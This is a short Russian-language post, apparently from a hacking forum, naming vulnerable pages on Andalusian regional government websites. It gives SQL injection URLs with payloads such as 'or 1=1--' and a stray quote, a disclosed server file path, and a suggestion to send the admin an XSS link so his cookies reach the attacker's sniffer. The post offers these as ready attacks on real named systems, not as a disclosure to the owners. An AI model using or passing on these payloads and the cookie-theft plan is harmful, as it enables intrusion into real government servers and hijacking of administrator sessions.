теща
sql иньеция
http://www.juntadeandalucia.es/servicioandaluzdesalud/hpm/neumologia/noticias.php?id=-2295+or+1=1--
http://www.juntadeandalucia.es/averroes/~cepja4/html/menu.3.php?codigo=092321GT54'

а так же раскрытие путей
/mnt/centr2/41/41000612/includes/database.php

нащет хсс.. подкидывай сыслку админку и его куки летят тебе на снифер